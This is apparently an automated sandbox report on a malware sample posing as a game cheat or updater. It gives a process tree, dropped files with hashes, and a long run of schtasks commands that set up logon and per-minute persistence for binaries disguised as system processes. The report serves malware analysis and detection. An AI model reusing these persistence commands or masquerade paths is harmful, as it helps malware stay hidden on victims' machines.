                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        71⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe "471020934-1427772490-572142708-1711754108-114883849119215268499784406681658966023"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                taskeng.exe {3E5015D7-882C-4837-9D08-B1BE7F1C1340} S-1-5-21-3691908287-3775019229-3534252667-1000:UOTHCPHQ\Admin:Interactive:[1]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\svhost.exe.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\svhost.exe.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\svhost.exe.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\svhost.exe.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "smsss" /sc MINUTE /mo 14 /tr "'C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Windows\Globalization\MCT\MCT-ZA\Wallpaper\smss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 14 /tr "'C:\hostNet\wscript.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\hostNet\wscript.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 10 /tr "'C:\hostNet\wscript.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\bridgeblockportComBroker.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBroker" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\bridgeblockportComBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\bridgeblockportComBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Common Files\Services\wscript.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Services\wscript.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:884
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Common Files\Services\wscript.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Windows\L2Schemas\WmiPrvSE.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\L2Schemas\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Windows\L2Schemas\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 10 /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBroker" /sc ONLOGON /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 14 /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2988

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\bridgeblockportComBroker.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1.8MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              8ccc428a5a6f6139dc191d332f3de08b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ae550a8fb67deeb1350020aa3fe8b0339db6bc71

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              801c5ad5a7853f375e15e1da7361e09b898d3c8770e291b8016eb207bba8c749

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1479aac1b970722f47cbf77a01b213c84885af15b06e293bf9137863cbce44238832c5f4298dc56ca41847718f581d2bb434220824ffc5d54c08f1e55156e82e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\0oxgHCygznUf7EF

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              20KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              c9ff7748d8fcef4cf84a5501e996a641

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              139KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              8f77f8b13b914f358059e3f7b9ddab70

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              d406a28486b4dd881c454e526e149b98c0ec8462

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              c22c863186e9e86a07cdb7f214c4acede216405a09d4032a603e64931f6966e6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              b00ba88d36203e389021672b39839a172b58e492bb71afb33c9f53b9ba406a0cf5d61cb5bfe6f11dc40529be8424690737ce178d7dd4981b120ec4694f51abad

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              231KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ff8f5c2670894f74456e534b34d6a8fe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              e0b35ae06f68adf07e4616da8e91bb1f935e492a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              d9f3baf81271c395f4dc10e21d12bc2bfb875a8a28ede54abd54a0d8de194d37

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              a58b08c3209bc196f914a82ca2b91a096988831bc45babb22ec2210303050cf03923ebf93e7a58926b8813328c672bec015cd0772f27a0192c661d83e796ffff

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\XClient.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              60KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              28ff989c1d462f567aabb9c5ba76456b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              24be926b14f64f6a9f5b8248d1618bae9a7fc0b2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              a02fb0b588d89b4ea7f83fc303af6ab00b5ec81a39cf79b2e6ec65d3a3e4c63d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2e639e5b5480c93c7605480de40e325c0692d3834f305d7d739f3569707e01cbd5d4c75c5fe4b02616edbb5c72b5f9df6466864a2b11fc862b35b5566d51bcba

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\e7lG3Dof0tiB7u3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              46KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              02d2c46697e3714e49f46b680b9a6b83

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              84f98b56d49f01e9b6b76a4e21accf64fd319140

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\mq0WKMOC4v9hs1b\Display\Display.png

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Filesize

